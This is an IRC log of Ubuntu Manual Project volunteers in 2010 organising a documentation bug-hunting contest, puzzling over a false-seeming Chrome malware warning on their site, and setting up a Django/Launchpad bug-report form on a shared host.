[00:24] <humphreybc> how do I run .run and .bin files?
[00:33]  * humphreybc grimaces... just starting the object oriented part of python
[03:43] <godbyk> http://twitpic.com/1pv13q
[03:43] <godbyk> Gotta love Google Alerts.
[05:46] <humphreybc> okay, i'm going to give up about 4 hours of my study time tonight to do some work on UMP. What needs doing?
[06:04] <humphreybc> :O
[06:04] <humphreybc> DAKER!
[06:04] <humphreybc> "The website at ubuntu-manual.org contains elements from the site karenearly.com, which appears to host malware – software that can hurt your computer or otherwise operate without your consent. Just visiting a site that contains malware can infect your computer."
[06:14] <flan> Need help with Python stuff, humphreybc?
[06:14] <humphreybc> flan: heh, not just yet. but i will all next week :P
[06:14] <humphreybc> i'm currently setting up a competition for the manual called "Show us ya bugs!"
[06:14] <flan> I'll try to be available, then.
[06:14] <humphreybc> help me define a bug in one sentence :)
[06:14] <flan> In terms of what?
[06:14] <humphreybc> the manual
[06:15] <flan> Software or documentation?
[06:15] <humphreybc> "A bug is an unintentional grammatical, formatting, factual or consistency error present in the final version of the manual."
[06:16] <flan> Are we using the serial (Oxford) comma?
[06:16] <humphreybc> yes
[06:16] <flan> Then your definition contains a bug.
[06:17] <humphreybc> where?
[06:17] <humphreybc> after error?
[06:17] <flan> "factual[,] or consistency"
[06:17] <humphreybc> okay
[06:17] <humphreybc> have a quick look
[06:18] <humphreybc> http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
[06:18] <flan> You might want to consult the style guide first, though.
[06:18] <humphreybc> before i repost it all over the net
[06:18] <flan> I haven't actually read it yet.
[06:18] <flan> So it's possible that use of the serial comma is not encouraged.
[06:18] <humphreybc> i know godbyk loves serial commas
[06:18] <flan> As do I.
[06:19] <flan> error[-]free
[06:19] <flan> Is "Lucid 2nd edition" how you want to informally brand the revision efforts?
[06:20] <humphreybc> something like that
[06:21] <flan> The title in the first step should be a link to the download page, if such a link is possible.
[06:21] <humphreybc> http://ubuntu-manual.org/download/10.04/en_US/screen
[06:21] <humphreybc> does that link work for you?
[06:22] <flan> Yep.
[06:22] <humphreybc> you think 10 confirmed bugs is a good number?
[06:22] <flan> Dunno. How many do you think we have?
[06:22] <humphreybc> and is it a good enough reward?
[06:23] <flan> (I've, unfortunately, been more focused on the technology in the background)
[06:23] <humphreybc> godbyk had a pretty epic comb of it a few days before it was released
[06:23] <humphreybc> and he's a real grammar nazi. I'd say we have about 100 bugs in the entire thing
[06:23] <flan> That reward seems like it'd lure the Wikipedia-troll types.
[06:23] <flan> Who are probably what we need for something like this.
[06:23] <humphreybc> I'd love to offer T Shirts or something, but I can't afford that
[06:24] <humphreybc> so can I post it on OMG and facebook and twitter and go have some dinner now?
[06:24] <flan> You could probably leave out the "that are confirmed" part.
[06:25] <humphreybc> well people might think that the 10 includes ones that aren't confirmed, or duplicates
[06:25] <humphreybc> they need to report 10 bugs that are unique, not duplicates and are confirmed
[06:25] <flan> Unique rules out duplictes...
[06:25] <humphreybc> I meant unique as in the bug itself
[06:25] <humphreybc> if that makes sense
[06:26] <humphreybc> cm'on i'm hungry, enough talking, can I repost it all over the tubes and be done?
[06:26] <flan> Yeah, probably.
[06:26] <flan> It makes sense to me.
[06:26] <humphreybc> as long as no one is going to poke some major hole in the competition
[06:26] <flan> A few minor sticking points, but those may be dialectal in nature.
[06:27] <flan> They don't implede understanding.
[06:34] <humphreybc> let the bugs flow in
[06:35] <quickshotdevs> New news from manualplanet: Benjamin Humphrey: Show us ya bugs!
[06:35] <humphreybc> lol!
[06:39] <humphreybc> right, i'm gonna cook some dinner
[06:39] <humphreybc> I think tonight i'll work on fixing the instructions on the site
[09:31] <dutchie> humphreybc: ping
[09:31] <humphreybc> kia ora
[09:32] <dutchie> for the bug form, i could do with having a launchpad account that can submit bugs
[09:32] <dutchie> i thought it'd be nice to have it belonging to one of the personas
[09:32] <humphreybc> that sounds like a nice idea
[09:33] <humphreybc> do you want me to make the launchpad account?
[09:33] <dutchie> if you want
[09:33] <humphreybc> righto
[09:36] <dutchie> ooh, new gettext release, with faster msgmerge
[09:38] <humphreybc> Lola Ferrari now has a gmail account
[09:38] <humphreybc> now for launchpad
[10:55] <ubuntujenkins> humphreybc: should we unasign the team as bugmail contact? To avoid all of the spam for a bit
[10:56] <humphreybc> yes
[10:56] <humphreybc> could you please do that?
[10:56] <humphreybc> (if you can)
[10:56] <ubuntujenkins> i will try
[10:59] <ubuntujenkins> humphreybc: I can't go to https://bugs.edge.launchpad.net/ubuntu-manual/+subscribe and you can do it
[11:00] <humphreybc> kk
[11:00] <ubuntujenkins> i unset the team as bug supervisor as well. not sure if it was needed
[11:19] <daker> hello @all
[11:19] <humphreybc> hey daker
[11:19] <humphreybc> daker: http://media.joshh.co.uk/Screenshot.png
[11:20] <daker> what's this
[11:20] <ubuntujenkins> ouch i get that too
[11:20] <ubuntujenkins> chrome thinks our site is malware
[11:21] <daker> probably
[11:22] <ubuntujenkins> fine in frefox
[11:23] <ubuntujenkins> it looks like we cna use webmaster tools to work out whats wrong. but you have to verify its your site so we may have to get godbyk to do it
[11:24] <daker> webmaster tools ? a google tool ?
[11:25] <ubuntujenkins> hey the website works again. yes it is a google tool
[11:27] <daker> we already use the webmaster tools
[11:27] <daker> and the site is verified
[11:27] <ubuntujenkins> hmm
[11:27] <humphreybc> apparently Full circle magazine has released episode 7 of their podcast with the 2nd half of my interview
[11:28] <ubuntujenkins> does it tell us why/what parts are the same as the malware site?
[11:30] <dutchie> godbyk: ping
[11:31] <humphreybc> dutchie: i think he's asleep, now that he has a job he has to adhere to regular hours lol
[11:31] <dutchie> yeah, probably
[11:31] <dutchie> stupid spread out team
[11:32] <dutchie> everybody should just use british time
[11:32] <humphreybc> hahaha
[11:32] <humphreybc> go ask Mark if we can have an office somewhere
[11:32] <dutchie> i've got a spare room
[11:32] <humphreybc> lol
[11:32] <daker> ubuntujenkins, you should ask godbyk
[11:32]  * humphreybc imagines 12 of us squeezing into dutchies house
[11:32] <ubuntujenkins> ok i will when i see him next
[14:36] <flan> Looks like humphreybc's campaign is working.
[14:40] <ubuntujenkins> yep we took the team off of the bug mail to avoid spamming people
[15:50] <godbyk> I'm here now.
[15:50] <godbyk> I saw that problem with the site yesterday.
[15:50] <godbyk> I glanced at the code and didn't see anything on that particular page that looked evil.
[15:50] <godbyk> Then I refreshed and Google didn't alert me.
[15:50] <godbyk> So I assumed it was just a fluke on their part.
[15:51] <godbyk> I'll look at the webmaster tools and see what they tell me.
[15:53] <godbyk> Currently says, "Google has not detected any malware on this site." in the webmaster tools site.
[15:56] <windsor_> Hi Everybody, I'm trying to help with the Ubuntu Manual
[15:57] <godbyk> Hey, windsor_, that's great! We're glad of any help we can get. :)
[15:57] <windsor_> great! so I went to the Ubuntu manual website, and I followed the instructions
[15:57] <nisshh> godbyk: is there anything i can do, im extremely bored right now
[15:58] <windsor_> I'm looking to become an editor for the project
[15:58] <windsor_> so I went to http://ubuntu-manual.org/getinvolved/editors
[15:58] <godbyk> nisshh: Well, we need to start working on the second edition soon. So if you want to read through the manual and file bugs, that'd be helpful.  You can also go through our bug spreadsheet and see which bugs have been reported that we didn't get fixed.
[15:58] <windsor_> and followed all the instructions
[15:58] <windsor_> I'm a beginner at the command line btw
[15:59] <nisshh> godbyk: ok, will do
[15:59] <godbyk> windsor_: No worries. Once you get the initial setup finished, you can generally avoid the command line.
[15:59] <windsor_> ok great
[15:59] <windsor_> my question is...
[15:59] <windsor_> I don't know how to use all of the software and stuff I just installed
[16:00] <windsor_> there aren't any instructions
[16:00] <nisshh> godbyk: btw when is my chapter getting removed? for maverick or for e2?
[16:00] <godbyk> windsor_: You're right. We need to write some instructions for that.
[16:00] <godbyk> windsor_: Right now, we could use some help in finding bugs in the manual we just released so we can fix them in the upcoming second edition.
[16:01] <godbyk> windsor_: So for the moment, you can read through the existing manual and file bugs in Launchpad at https://bugs.launchpad.net/ubuntu-manual
[16:01] <godbyk> windsor_: We'll start editing the files soon and I'll try to have some instructions written by then.
[16:01] <nisshh> godbyk: also, can i have the link to the spreadsheet login? i have lost my bookmark for it
[16:01] <windsor_> Nice! Thanks for your help godbyk!
[16:02] <godbyk> nisshh: Which chapter is that?  I think adding/removing chapters will happen in the Maverick release.  The second edition is there only to fix bugs, really.
[16:02] <godbyk> windsor_: No, thanks for *your* help. :)
[16:02] <nisshh> godbyk: right, i meant the command-line chapter
[16:02] <godbyk> nisshh: Sure, let me dig it up.  Can you access it from docs.ubuntu-manual.org?
[16:02] <godbyk> nisshh: Ah, right. I think we'll look at that in the maverick release.
[16:02] <nisshh> godbyk: dunno, didnt know we could do that
[16:03] <godbyk> The magic of Google Docs. :)
[16:04] <nisshh> yea
[16:05] <nisshh> godbyk: hmmm, is someone able to reset my password? it doesnt seem to like it
[16:05] <godbyk> nisshh: I can if you need me too.  One moment.
[16:05] <nisshh> ok, thanks
[16:06] <windsor_> I'll be signing out now, I hope to be more involved in Launchpad in the future.  I guess I'll start proofreading the manual! XD Thanks again. Bye
[16:06] <nisshh> damn, i really need to sort out my desktop
[16:06] <godbyk> nisshh: you know your username is your first name, right?
[16:06] <nisshh> messy as hell
[16:06] <nisshh> godbyk: oh, right...
[16:06] <godbyk> windsor_: Thanks!  See ya later.
[16:06] <nisshh> godbyk: hmm, did you reset my password?
[16:07] <godbyk> nope.
[16:07] <nisshh> meh ok hang on
[16:07] <godbyk> 'kay.
[16:07] <godbyk> if you need me to, just holler.
[16:07] <godbyk> also, what the heck did you guys do with all the bugs while I was away?  so much bug email! :)
[16:08] <nisshh> godbyk: its all good, had to find the right password
[16:08] <godbyk> nisshh: 'kay
[16:09]  * nisshh bookmarks that page before he forgets
[16:12] <nisshh> godbyk: there are maybe 20-40 unfixed bugs in the spreadsheet, 5-6 of them are for me to put in the glossary though
[16:13] <nisshh> godbyk: scratch that, there are atleast 65 unfixed
[16:14] <nisshh> godbyk: do you think adding more glossary entries is within the scope of e2?
[16:15] <godbyk> nisshh: Yeah, I think we should improve the glossary and index quite a bit for e2.
[16:15] <nisshh> godbyk: right, i should start work on the glossary sometime
[16:15] <nisshh> next week
[16:16] <godbyk> I should go through the manual and mark up things we need to add to the glossary and index sometime.
[16:16] <godbyk> Hmm.. https://bugs.launchpad.net/ubuntu-manual/+bug/584433
[16:17] <godbyk> My response seems disproportionately long compared to the issue. :-)
[16:17] <nisshh> yes, maybe we should add a note on the website or wiki somewhere about submitting proposed glossary and index entries?
[16:17] <dutchie> ah, godbyk, just the man
[16:17] <godbyk> I'll email the list.
[16:17] <godbyk> Hey, dutchie. What's up?
[16:17] <godbyk> Why's Google hate us?
[16:17] <dutchie> i think we may be ready to stick the bug form up on ubuntu-manual.org
[16:18] <nisshh> dutchie: oooh, a bug form?
[16:18] <godbyk> Sweet.
[16:18] <godbyk> Where did all these bugs come from anyway?
[16:18] <godbyk> (The ones that just landed in my inbox overnight.)
[16:18] <nisshh> like, instead of the google docs one we have now?
[16:18] <dutchie> humphreybc made a thingy
[16:19] <nisshh> godbyk: check humphreybc's blog
[16:19] <dutchie> http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
[16:19] <nisshh> yea
[16:19] <godbyk> Aha! That'd explain it. :)
[16:19] <godbyk> This Andrew guy is even submitting patches!
[16:20] <dutchie> godbyk: so anyway, what OS is the server running?
[16:20] <godbyk> dutchie: It's running Debian.
[16:21] <dutchie> debian what?
[16:21] <dutchie> please say lenny
[16:21] <nisshh> unstable?
[16:21] <dutchie> actually, that doesn't matter
[16:21] <dutchie> what is the version of the python-django package?
[16:21] <nisshh> actually, iv been wanting to try out debian
[16:22] <nisshh> its a cool distro
[16:23] <godbyk> dutchie: good question. let me see if I can find out.
[16:23] <nisshh> godbyk: what other cool secrets does the website hold that i dont know about yet?
[16:23] <godbyk> one moment.
[16:23] <godbyk> dutchie: /etc/debian_version reports 4.0.
[16:24] <dutchie> in that case, http://www.djangoproject.com/download/1.1/tarball/
[16:24] <godbyk> dutchie: the system-wide install of it is: 1.1.1-1
[16:24] <dutchie> ooh
[16:24] <dutchie> never mind then
[16:24] <godbyk> but we can install our own copy to my local home dir
[16:24] <dutchie> of django?
[16:25] <godbyk> $ dpkg -s python-django
[16:25] <godbyk> Package: python-django
[16:25] <godbyk> Status: install ok installed
[16:25] <godbyk> Priority: extra
[16:25] <godbyk> Section: python
[16:25] <godbyk> Installed-Size: 17936
[16:25] <godbyk> Maintainer: Andrew Farmer <andrewf@lenny64-packager>
[16:25] <godbyk> Architecture: amd64
[16:25] <godbyk> Version: 1.1.1-1
[16:25] <godbyk> Depends: python, python-support (>= 0.2), python-mysqldb
[16:25] <godbyk> Description: Django is awesome. You should use it.
[16:25] <godbyk>  Now with 100% more ponies!
[16:25] <godbyk> well, generally, I can compile software and set environment variables to coerce apache into using my custom versions of things if I want.
[16:25] <godbyk> (though if I can avoid it, I will.)
[16:26] <dutchie> the system install is fine
[16:26] <godbyk> cool
[16:26] <dutchie> the branch is lp:ubuntu-manual-website/bug-form
[16:27] <dutchie> but don't download it yet
[16:27] <dutchie> :)
[16:27] <godbyk> heh.. duly noted. :)
[16:28] <dutchie> run "django-admin startproject ump", which will create a ump directory with django-y stuff in it
[16:28] <dutchie> put it in ~ somewhere away from where web stuff is server
[16:28] <dutchie> served*
[16:28] <godbyk> uh, 'kay.
[16:29] <dutchie> oh god, have to go
[16:29] <dutchie> will resume later
[16:29] <godbyk> 'kay.
[16:30] <nisshh> godbyk: is the e2 branch all good to make changes to? id like to add some glossary stuff tommorrow
[16:31] <godbyk> nisshh: I *think* so.
[16:31] <nisshh> godbyk: ok, cool
[16:31] <nisshh> ill let you know if it doesnt compile :)
[16:31] <godbyk> please do. :)
[16:33] <nisshh> godbyk: if you have a minute can you give me a quick rundown on what subdomains the ump website has and what i can do on there, etc
[16:33] <nisshh> i may find some of it useful
[16:33] <nisshh> the only ones i know of are files and docs
[16:34] <godbyk> sure. let me pull up the list.
[16:34] <nisshh> ok
[16:34] <godbyk> well, there's also mail and calendar (which point to the google stuff)
[16:35] <godbyk> builds -> draft copies of the PDFs of translated editions of e1
[16:35] <godbyk> quickshot -> nothing there yet.
[16:35] <godbyk> screenshots -> shows which screenshots we still need to take
[16:35] <godbyk> stats -> our stats page; currently broken.
[16:35] <nisshh> i assume there will be a bugs one for the bug form later on?
[16:35] <godbyk> test -> our test site; currently a mirror of the production site.
[16:36] <godbyk> probably, yeah.
[16:36] <nisshh> hmm, this is good to know
[16:37] <nisshh> what tends to happen with me is i zone out for a week or so and when i come back i have to update with the latest happenings :)
[16:37] <godbyk> I hear ya.
[16:39] <thorwil> so flan is working with pylons, but dutchie uses or intends to use django?
[16:39] <nisshh> we are going to need to get cracking on e2 soon if we are to get it perfect and pristine
[16:49] <windsor_> hi godbyk, I filed my first bug but I'm not sure if it's in the right place
[16:49] <windsor_> I filed it in bugs under  "Ubuntu Manual", even though I joined the team "Ubuntu Manual Team"
[16:51] <windsor_> could someone please check if bug #584592 is in the right place?
[16:51] <nisshh> windsor_: sure hang on a sec
[16:52] <nisshh> windsor_: even if you put it in the wrong place, its no big deal :)
[16:52] <windsor_> XD ok
[16:53] <windsor_> I just hope you guys can find it ;)
[16:53] <nisshh> windsor_: nope, thats fine, just file all your bugs there
[16:53] <windsor_> OK awesome. Thanks a lot nisshh
[16:53] <nisshh> windsor_: yea, your doing a great job!
[16:53] <nisshh> no probs
[16:53] <windsor_> thanks =D glad to be of help
[16:54] <windsor_> bye for now
[16:54] <nisshh> see ya!
[17:03] <godbyk> thorwil: I have no idea. I'm just a bystander there. :)
[17:16] <dutchie> godbyk: right, back
[17:16] <dutchie> how far did you get?
[17:16] <godbyk> didn't even start.
[17:16] <godbyk> figured I'd wait for your return. :)
[17:16] <dutchie> :)
[17:17] <godbyk> with all these bug reports I feel like I may be spending time arguing about commas. :-/
[17:17] <dutchie> so, django-admin startproject ump
[17:17] <godbyk> okay, so will that create a directory? or do I need to create a directory first?
[17:17] <godbyk> it should be outside the web stuff, I presume.
[17:17] <dutchie> that will create a directory
[17:17] <dutchie> yes
[17:18] <godbyk> do we want it named ump or umpbugs or something more explanatory?
[17:18] <dutchie> just ump
[17:18]  * godbyk likes to try to keep a tidy file system.
[17:18] <godbyk> okay
[17:18] <dutchie> there will be a bugs subdirectory
[17:18] <godbyk> done.
[17:18] <godbyk> so now we have ~/django-projects/ump/ with four files in it.
[17:19] <dutchie> cd into it, edit settings.py with sensible values
[17:19] <godbyk> editing
[17:19] <dutchie> you know the DB stuff better than me
[17:20] <godbyk> I set you and I as the admins.
[17:20] <dutchie> ok
[17:20] <godbyk> Is this just for the bugs stuff?
[17:20] <godbyk> (so I know what to name the db, etc.)
[17:20] <dutchie> yes
[17:21] <dutchie> though there will be other django-y housekeeping stuff too
[17:21] <godbyk> Should it be its own db or can it share the ubuntumanual db?
[17:21] <dutchie> two things that you need are: '~/django-projects/ump/bugs/templates' in the TEMPLATE_DIRS tuple
[17:21] <dutchie> godbyk: not sure, it creates its own tables and everything
[17:22] <dutchie> you'll also need to add 'ump.bugs' in to INSTALLED_APPS
[17:22] <godbyk> I'll create its own db then.
[17:25] <dutchie> make sure DEBUG = False on a production server, too
[17:25] <godbyk> media stuff?
[17:25] <dutchie> leave that as empty, doesn't really matter
[17:26] <godbyk> okay, I think I have all that set.
[17:28] <dutchie> replace the urls.py with http://pastebin.com/mb3hAzfH
[17:28] <godbyk> done
[17:29] <dutchie> now do "bzr branch lp:ubuntu-manual/bug-form bugs"
[17:29] <dutchie> no
[17:29] <dutchie> lp:ubuntu-manual-website/bug-form
[17:29] <godbyk> 'kay.
[17:29] <godbyk> I'm creating bugs.ubuntu-manual.org
[17:29] <godbyk> do you need passenger?
[17:30] <dutchie> passenger?
[17:30] <godbyk> it's a wsgi-type thing.
[17:31] <godbyk> used with ruby on rails and python sometimes.
[17:31] <godbyk> if you don't know what it is, it's probably not needed. :)
[17:31] <dutchie> django can do its own wsgi stuff
[17:31] <godbyk> 'kay
[17:31] <dutchie> http://docs.djangoproject.com/en/1.1/howto/deployment/modwsgi/#howto-deployment-modwsgi
[17:32] <godbyk> if the module isn't already installed I can't use it.
[17:32] <dutchie> you'll want the WSGIScriptAlias directive in an apache vhost
[17:32] <godbyk> okay, I've checked out the bug-form.
[17:32] <dutchie> it's just mod_wsgi
[17:32] <godbyk> I only have access to .htaccess files. it's a shared host.
[17:33] <dutchie> hmm
[17:33] <dutchie> well, however you're serving the separate domains already, will that not work?
[17:34] <godbyk> if they have mod_wsgi.
[17:35] <dutchie> i've only used mod_wsgi, but apparently you can use mod_python and FastCGI too
[17:35] <godbyk> looks like we can either use FastCGI or Passenger.
[17:35] <godbyk> http://wiki.dreamhost.com/Django
[17:38] <dutchie> see if that script works
[17:38] <godbyk> so you want me to set up passenger or what?
[17:38]  * godbyk is confused.
[17:38] <dutchie> yes, passenger
[17:38] <dutchie> sorry
[17:38] <dutchie> i've only deployed django on my vps, where i am in full control
[17:39] <godbyk> 'kay.
[17:39] <godbyk> yeah, I hear ya.
[17:39] <godbyk> I'd love to have some rackspace where I can just drop in my own box and deal with all the admin stuff myself. Unfortunately, every place I've looked is expensive.
[17:39] <dutchie> not thought of a vps?
[17:39] <godbyk> Right now this shared host costs me < $7/month. :)
[17:40] <dutchie> ah
[17:40] <dutchie> my vps is £80/year
[17:40] <godbyk> I have, but I haven't actually needed one before now, so there was no sense paying for it.
[17:42] <godbyk> okay, passenger is set up.
[17:42] <godbyk> nice.
[17:42] <godbyk> I'll have to look into pricing with my current host.
[17:44] <dutchie> so we're good to go, then?
[17:44] <godbyk> Looks like the PS is priced based on memory usage: http://www.dreamhost.com/hosting-vps.html
[17:44] <godbyk> not good to go yet.
[17:44] <godbyk> files are all scattered about.
[17:44] <dutchie> ah
[17:45] <godbyk> so there's the ~/django-projects/ump/ dir, the ~/bzr/bugs-form dir, and the ~/bugs.ubuntu-manual.org/public/ dir.
[17:45] <godbyk> what goes where? :)
[17:46] <dutchie> what's in the ~/bug.ubuntu-manual.org/public/ dir?
[17:46] <dutchie> the bugs-form one has to be in ump/ as bugs, though a symlink'll do
[17:47] <godbyk> nothing
[17:48] <godbyk> bugs symlink created.
[17:48] <dutchie> probably best to ignore it then ;)
[17:48] <godbyk> the bugs.ubuntu-manual.org/public/ dir is where the bugs.ubuntu-manual.org site points to.
[17:49] <godbyk> so there should be, y'know, *something* there. :)
[17:49] <dutchie> django computes what to serve more-or-less on the fly
[17:49] <godbyk> like a dispatch script.
[17:49] <godbyk> okay, but as set now, apache knows nothing of the files in ~/django-projects/...
[17:50] <godbyk> so ~/django-projects/ump is just a folder.  apache only looks at ~/bugs.ubuntu-manual.org/public/ when you go to http://bugs.ubuntu-manual.org/
[17:50] <dutchie> so from that wiki page, it looks like the ump/ dir should be in bugs.ubuntu-manual.org/
[17:50] <godbyk> so we need to link some things there.
[17:52] <godbyk> okay, still missing something.
[17:52] <dutchie> maybe try running the django-admin.py script again with the ump dir in there?
[17:53] <godbyk> says file exists.
[17:54] <godbyk> http://pastebin.com/2GY7y1gD
[17:55] <dutchie> err, django-setup.py
[17:55] <dutchie> from http://wiki.dreamhost.com/django-setup.py
[17:56] <godbyk> project name?
[17:56] <godbyk> ump?
[17:57] <dutchie> yeah
[17:57] <godbyk> says that name is already used by a Python module.
[17:58] <dutchie> in that case, mv ump temp and run it again
[17:58] <godbyk> that worked
[17:58] <dutchie> what's it done?
[17:59] <godbyk> still entering info
[18:00] <godbyk> entered the db info
[18:00] <godbyk> it created the project framework:
[18:00] <godbyk> passenger_wsgi.py
[18:00] <dutchie> paste tree again?
[18:00] <godbyk> Checking connection...  looks good!
[18:00] <godbyk> Creating project framework...  creating passenger_wsgi.py...  customizing settings...  setting permissions...  copying admin media...  OK
[18:00] <godbyk> Running manage.py syncdb...
[18:00] <godbyk> Creating table django_admin_log
[18:00] <godbyk> Creating table auth_permission
[18:00] <godbyk> Creating table auth_group
[18:00] <godbyk> Creating table auth_user
[18:00] <godbyk> Creating table auth_message
[18:00] <godbyk> Creating table django_content_type
[18:00] <godbyk> Creating table django_session
[18:00] <godbyk> Creating table django_site
[18:00] <godbyk> You just installed Django's auth system, which means you don't have any superusers defined.
[18:00] <godbyk> Would you like to create one now? (yes/no):
[18:01] <godbyk> still running the script..
[18:01] <dutchie> OK
[18:01] <godbyk> Would you like to create one now? (yes/no): yes
[18:01] <godbyk> Username (Leave blank to use 'godbyk'):
[18:01] <godbyk> E-mail address: kevin@ubuntu-manual.org
[18:01] <godbyk> Password:
[18:01] <godbyk> Password (again):
[18:01] <godbyk> Superuser created successfully.
[18:01] <godbyk> Installing index for admin.LogEntry model
[18:01] <godbyk> Installing index for auth.Permission model
[18:01] <godbyk> Installing index for auth.Message model
[18:01] <godbyk> SUCCESS! Your Django application is fully set up - enjoy!
[18:02] <dutchie> is that the script finished?
[18:02] <godbyk> editing the files again.
[18:02] <godbyk> what was the installed_apps you wanted me to add?
[18:02] <dutchie> ump.bugs
[18:02] <godbyk> anything else I need to edit in settings.py?
[18:03] <dutchie> not off the top of my head
[18:04] <godbyk> I edited the urls.py file to match yours.
[18:04] <godbyk> and the bugs-form branch should be symlinked to ump/bugs?
[18:05] <dutchie> yes
[18:05] <godbyk> 'kay.
[18:05] <godbyk> http://bugs.ubuntu-manual.org/
[18:05] <godbyk> looks like I need to install the launchpadlib module.
[18:05] <dutchie> yes
[18:06] <godbyk> got a url handy?
[18:06] <dutchie> and you probably should have debug = False on a public thing
[18:06] <godbyk> well, I will once we finish getting it set up.
[18:06] <dutchie> https://edge.launchpad.net/launchpadlib
[18:07] <dutchie> doubt it'll be packaged to be honest
[18:07] <godbyk> they've got a tarball of 1.6.0. is that new enough?
[18:07] <dutchie> probably
[18:07] <dutchie> it's what i've got here
[18:09] <godbyk> 'kay
[18:09] <godbyk> working on installing that now
[18:11] <godbyk> apparently their setup script doesn't install all the prereqs.
[18:12]  * godbyk grumbles.
[18:12] <godbyk> >>> import launchpadlib.launchpad
[18:12] <godbyk> Traceback (most recent call last):
[18:12] <godbyk>   File "<stdin>", line 1, in ?
[18:12] <godbyk>   File "/home/godbyk/local/lib/python2.4/site-packages/launchpadlib-1.6.0-py2.4.egg/launchpadlib/launchpad.py", line 29, in ?
[18:12] <godbyk>     from lazr.restfulclient.resource import (
[18:12] <godbyk>   File "/home/godbyk/local/lib/python2.4/site-packages/lazr.restfulclient-0.9.14-py2.4.egg/lazr/restfulclient/resource.py", line 33, in ?
[18:12] <godbyk>     from email.message import Message
[18:12] <godbyk> ImportError: No module named message
[18:12] <godbyk> now I get to chase down some dependencies, I s'pose.
[18:13] <dutchie> godbyk: https://help.launchpad.net/API/launchpadlib
[18:14] <godbyk> I think it downloaded those libs automatically.
[18:14] <godbyk> where's Message?
[18:14] <dutchie> not a clue
[18:14] <godbyk> is it a standard python lib or a launchpadlib thing?
[18:14] <dutchie> import email # directory /usr/lib/python2.6/email
[18:14] <dutchie> # /usr/lib/python2.6/email/__init__.pyc matches /usr/lib/python2.6/email/__init__.py
[18:14] <dutchie> import email # precompiled from /usr/lib/python2.6/email/__init__.pyc
[18:14] <dutchie> looks standard python to me
[18:15] <godbyk> import email works here
[18:15] <godbyk> import launchpadlib works too
[18:15] <godbyk> but import launchpadlib.launchpad fails.
[18:16] <dutchie> # /usr/lib/python2.6/email/message.pyc matches /usr/lib/python2.6/email/message.py
[18:16] <dutchie> import email.message # precompiled from /usr/lib/python2.6/email/message.pyc
[18:16] <godbyk> import email.message failed.
[18:16] <godbyk> import email.Message worked.
[18:17] <godbyk> guess I'll see about a newer version of email.
[18:17] <godbyk> apparently I'm running python 2.4, too.  ew.
[18:17] <dutchie> ew indeed
[18:19] <godbyk> import email.message works fine with python2.5 (which is also installed).
[18:19] <godbyk> maybe I'll try to use it.
[18:19] <godbyk> (otherwise I'll have to download python2.6 and install it manually to my home dir.)
[18:19] <dutchie> that sounds fun
[18:20] <godbyk> loads
[18:21] <godbyk> installing launchpadlib with python2.5 now.
[18:27] <godbyk> I have to figure out how to get the passenger stuff to use python2.5 now, instead of the python2.4.
[18:27] <godbyk> shoot me, please.
[18:27] <godbyk> I'm going to fix something for lunch first.
[18:27] <godbyk> I'll be back in a bit.
[18:27] <dutchie> could be as simple as changing the top line to #!/usr/bin/python2.5
[18:28] <godbyk> tried. didn't seem to help any
[18:28] <godbyk> most the files don't have that line anyway
[18:28] <godbyk> I'm going to add it next and see if it makes a diff
[19:29] <ChrisWoollard_An> I notice that a lot of bugs have been filed today
[19:31] <godbyk> Yeah, quite a few.  Ben posted a blog entry: http://humphreybc.wordpress.com/2010/05/23/show-us-ya-bugs/
[19:34] <ChrisWoollard_An> I wonder how many are duplicates
[19:34] <godbyk> I haven't read most of them.
[19:34] <godbyk> I'm going to look at them a bit later.
[19:37] <ChrisWoollard_An> I did spot that a couple are more rewrite suggestions
[19:41] <dutchie> godbyk: figured out django yet?
[19:41] <godbyk> dutchie: setting the #! lines didn't help. I've just finished building python 2.6.5 and now I'm building django.
[19:42] <godbyk> django's done.  working on python-mysql now.
[19:51] <godbyk> hmm.. rebuilding python as it apparently didn't get the _md5 module built or something.
[20:24] <godbyk> it's a good thing you unsubscribed the mailing list from all the bug emails. holy crap!
[20:38] <thorwil> oh, i was going to suggest something like that ;)
[21:18] <ubuntujenkins> godbyk: have you seen http://media.joshh.co.uk/Screenshot.png
[21:18] <godbyk> ubuntujenkins: yeah, and I saw the problem myself yesterday. when I refresh, it didn't warn me anymore.
[21:18] <godbyk> I looked at the webmaster tools / malware section and it says google has detected no malware on this site.
[21:18] <godbyk> so I'm not sure what the story is.
[21:19] <ubuntujenkins> o thats what i was going to ask i needed to find the name of the tool. strange
[21:19] <godbyk> dutchie: you still around? http://bugs.ubuntu-manual.org/
[21:20] <dutchie> eating
[21:20] <godbyk> dutchie: from the error.log file:
[21:20] <godbyk> [Sun May 23 13:19:51 2010] [error] [client 131.231.221.4] Premature end of script headers:
[21:20] <godbyk> [Sun May 23 13:19:51 2010] [error] [client 131.231.221.4] Premature end of script headers: internal_error.html
[21:20] <godbyk> np. whenever you get back.
[21:20] <godbyk> launchpadlib stuff is working okay in python now (afaict)
[21:20] <godbyk> running python 2.6.5.
[21:32] <godbyk> dutchie: okay, I may have fixed that issue.. http://bugs.ubuntu-manual.org/  now it's just spinning.
[21:33] <dutchie> i know why
[21:33] <dutchie> nearlyh finished
[21:33] <godbyk> oh, oikay
[21:33] <godbyk> cool
[21:33] <godbyk> no rush
[21:33] <godbyk> (the previous problem was due to the passenger stuff pointing at the system python binary instead of my home-dir binary.)
[21:35] <dutchie> right
[21:35] <dutchie> step one: stop the webserver running bugs.u-m.org
[21:41] <ubuntujenkins> anyone good with udev rules? I can't get mine to work
[21:49] <godbyk> dutchie: um.. what? remember, I don't have control over anything.
[21:50] <godbyk> dutchie: can we skip along to step 2? :)
[21:50] <dutchie> ./manage.py runserver
[21:51] <godbyk> dutchie: I can do that, but it binds to 127.0.0.1:8000.
[21:51] <godbyk> what's step 3? :)
[21:51] <dutchie> can you not use lynx/w3m/whatever?
[21:52] <godbyk> I can, yeah.
[21:52] <godbyk> 'kay.
[21:52] <godbyk> I see your bug form
[21:52] <godbyk> (using lynx)
[21:53] <dutchie> has anything appeared on the thingy running the server whatsit?
[21:53] <godbyk> we have to be kind of fast 'cause they'll kill the process if it runs too long.
[21:53] <dutchie> is there a thing giving you a url to authenticate to?
[21:53] <dutchie> otherwise we'll have to fall back to something else
[21:54] <godbyk> when I look at 127.0.0.1:8000 with lynx, I can see your bug form.
[21:54] <dutchie> yes
[21:54] <godbyk> okay.
[21:54] <godbyk> what auth stuff are you talking about?
[21:54] <dutchie> is there a thing appearing from where you are running the server?
